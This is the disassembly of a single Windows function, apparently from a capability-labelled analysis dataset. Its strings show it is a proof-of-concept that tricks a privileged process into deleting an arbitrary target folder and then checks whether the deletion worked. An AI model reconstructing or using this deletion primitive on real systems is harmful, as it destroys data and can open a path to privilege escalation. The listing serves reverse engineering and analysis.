Function at 0x140002ee0
Capabilities:
Check if file exists
Create directory
Delete directory
Delete file
Get file attributes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x47]
sub rsp, 0xd0
mov rax, qword [0x14003a120]
xor rax, rsp
mov qword [rbp + 0x37], rax
mov r8, rdx
mov r14d, ecx
mov qword [rbp + 7], rdx
lea rax, [rbp + 7]
mov qword [rbp + 0xf], rax
xor esi, esi
mov qword [0x14003cb98], rsi
mov r15d, esi
mov edi, 1
cmp ecx, edi
jle 0x14000347f
mov ebx, 8
nop
lea rdx, str._target
mov rcx, qword [rbx + r8]
call fcn.14000f0b0
test eax, eax
jne 0x140002f74
inc edi
add rbx, 8
cmp edi, r14d
jge 0x140003475
mov r8, qword [rbp + 7]
mov rax, qword [rbx + r8]
mov qword [0x14003cb98], rax
jmp 0x140002fa7
lea rdx, str._initial
mov rcx, qword [rbp + 7]
mov rcx, qword [rbx + rcx]
call fcn.14000f0b0
test eax, eax
jne 0x14000347f
inc edi
add rbx, 8
cmp edi, r14d
jge 0x140003475
mov r8, qword [rbp + 7]
mov r15, qword [rbx + r8]
inc edi
add rbx, 8
cmp edi, r14d
jl 0x140002f40
cmp qword [0x14003cb98], rsi
je 0x14000347f
lea rdx, [0x140034a40]
test r15, r15
cmovne rdx, r15
mov rdi, 0xffffffffffffffff
mov r8, rdi
nop word [rax + rax]
inc r8
cmp word [rdx + r8*2], si
jne 0x140002fe0
lea r14, [0x14003ac00]
mov rcx, r14
call fcn.140004a70
mov rcx, r14
cmp qword [0x14003ac18], 8
cmovae rcx, qword [0x14003ac00]
mov rax, qword [0x14003ac10]
cmp word [rcx + rax*2 - 2], 0x5c
je 0x14000302a
lea rdx, [0x140034a48]
mov rcx, r14
call fcn.140004bf0
lea rdx, str.test1
mov rcx, r14
call fcn.140004bf0
xor edx, edx
mov rcx, qword [0x14003cb98]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x140003095
lea rdx, str.___Created_target_dir:
lea rcx, [0x14003a010]
call fcn.140005140
mov rcx, rax
mov rdx, qword [0x14003cb98]
call fcn.140005140
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.140004fc0
movzx edx, ax
mov rcx, rbx
call fcn.140005ba0
mov rcx, rbx
call fcn.140005ae0
xor edx, edx
lea rcx, str.C:_test2
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov rcx, r14
cmp qword [0x14003ac18], 8
cmovae rcx, qword [0x14003ac00]
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov rdx, r14
cmp qword [0x14003ac18], 8
cmovae rdx, qword [0x14003ac00]
mov qword [rbp - 0x49], rsi
mov qword [rbp - 0x41], 7
mov word [rbp - 0x59], si
mov r8, rdi
inc r8
cmp word [rdx + r8*2], si
jne 0x1400030e3
lea rcx, [rbp - 0x59]
call fcn.140004a70
mov r8d, 0xc0010000
lea rdx, [rbp - 0x59]
call fcn.140006520
mov rdx, r14
cmp qword [0x14003ac18], 8
cmovae rdx, qword [0x14003ac00]
mov qword [rbp - 0x49], rsi
mov qword [rbp - 0x41], 7
mov word [rbp - 0x59], si
mov r8, rdi
nop dword [rax + rax]
inc r8
cmp word [rdx + r8*2], si
jne 0x140003130
lea rcx, [rbp - 0x59]
call fcn.140004a70
nop
lea rdx, [0x140034a48]
lea rcx, [rbp - 0x59]
call fcn.140004bf0
mov qword [rbp - 0x29], rsi
mov qword [rbp - 0x21], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x39], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x29], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 7
mov word [rax], si
lea rdx, str.trick.txt
lea rcx, [rbp - 0x39]
call fcn.140004bf0
mov qword [rbp + 0x27], rsi
mov qword [rbp + 0x2f], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x17], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x27], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 7
mov word [rax], si
mov rdx, qword [rbp - 0x21]
cmp rdx, 8
jb 0x1400031f0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x39]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400031eb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003489
call fcn.140009050
mov qword [rbp - 0x29], rsi
mov qword [rbp - 0x21], 7
mov word [rbp - 0x39], si
mov rdx, qword [rbp - 0x41]
cmp rdx, 8
jb 0x140003240
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x59]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000323b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000348f
call fcn.140009050
mov qword [rbp - 0x49], rsi
mov qword [rbp - 0x41], 7
mov word [rbp - 0x59], si
lea rcx, [rbp + 0x17]
cmp qword [rbp + 0x2f], 8
cmovae rcx, qword [rbp + 0x17]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rdx, [rbp + 0x17]
cmp qword [rbp + 0x2f], 8
cmovae rdx, qword [rbp + 0x17]
mov qword [rbp - 9], rsi
mov qword [rbp - 1], 7
mov word [rbp - 0x19], si
inc rdi
cmp word [rdx + rdi*2], 0
jne 0x140003282
mov r8, rdi
lea rcx, [rbp - 0x19]
call fcn.140004a70
lea rdx, [rbp - 0x19]
call fcn.140006750
mov qword [0x14003cb90], rax
mov rcx, rax
call fcn.1400071f0
mov rdi, rax
lea rdx, str.___Ready._Now_run_the_privileged_process_to_delete_contents_of
lea rcx, [0x14003a010]
call fcn.140005140
mov rdx, r14
cmp qword [0x14003ac18], 8
cmovae rdx, qword [0x14003ac00]
mov r8, qword [0x14003ac10]
mov rcx, rax
call fcn.140005d80
lea rdx, [0x140034a94]
mov rcx, rax
call fcn.140005140
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.140004fc0
movzx edx, ax
mov rcx, rbx
call fcn.140005ba0
mov rcx, rbx
call fcn.140005ae0
lea rdx, str.___Or__for_testing_purposes__execute_at_an_elevated_command_prompt:_del__q
lea rcx, [0x14003a010]
call fcn.140005140
cmp qword [0x14003ac18], 8
cmovae r14, qword [0x14003ac00]
mov r8, qword [0x14003ac10]
mov rdx, r14
mov rcx, rax
call fcn.140005d80
lea rdx, [0x140034b24]
mov rcx, rax
call fcn.140005140
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.140004fc0
movzx edx, ax
mov rcx, rbx
call fcn.140005ba0
mov rcx, rbx
call fcn.140005ae0
mov edx, 0xffffffff
mov rcx, qword [rdi + 0x50]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
nop dword [rax + rax]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [0x14003cb98]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x1400033cc
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
je 0x14000349b
inc esi
cmp esi, 0x32
jb 0x1400033a0
lea rdx, str.____FAIL:_Target_folder_has_not_been_deleted_within_the_expected_amount_of_time.
lea rcx, [0x14003a010]
call fcn.140005140
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.140004fc0
movzx edx, ax
mov rcx, rbx
call fcn.140005ba0
mov rcx, rbx
call fcn.140005ae0
nop
mov rdx, qword [rbp + 0x2f]
cmp rdx, 8
jb 0x14000344a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x17]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003445
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003495
call fcn.140009050
xor eax, eax
mov rcx, qword [rbp + 0x37]
xor rcx, rsp
call fcn.140008da0
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
lea rcx, [rbp + 0xf]
call fcn.1400034e0
int3
lea rcx, [rbp + 0xf]
call fcn.1400034e0
nop
call fcn.140010af0
nop
call fcn.140010af0
nop
call fcn.140010af0
nop
lea rdx, str.___SUCCESS:_Target_folder_deleted.
lea rcx, [0x14003a010]
call fcn.140005140
mov rcx, rax
call fcn.140004430
lea rdx, str.___Done.
lea rcx, [0x14003a010]
call fcn.140005140
mov rcx, rax
call fcn.140004430
xor ecx, ecx
call fcn.14000efb4
int3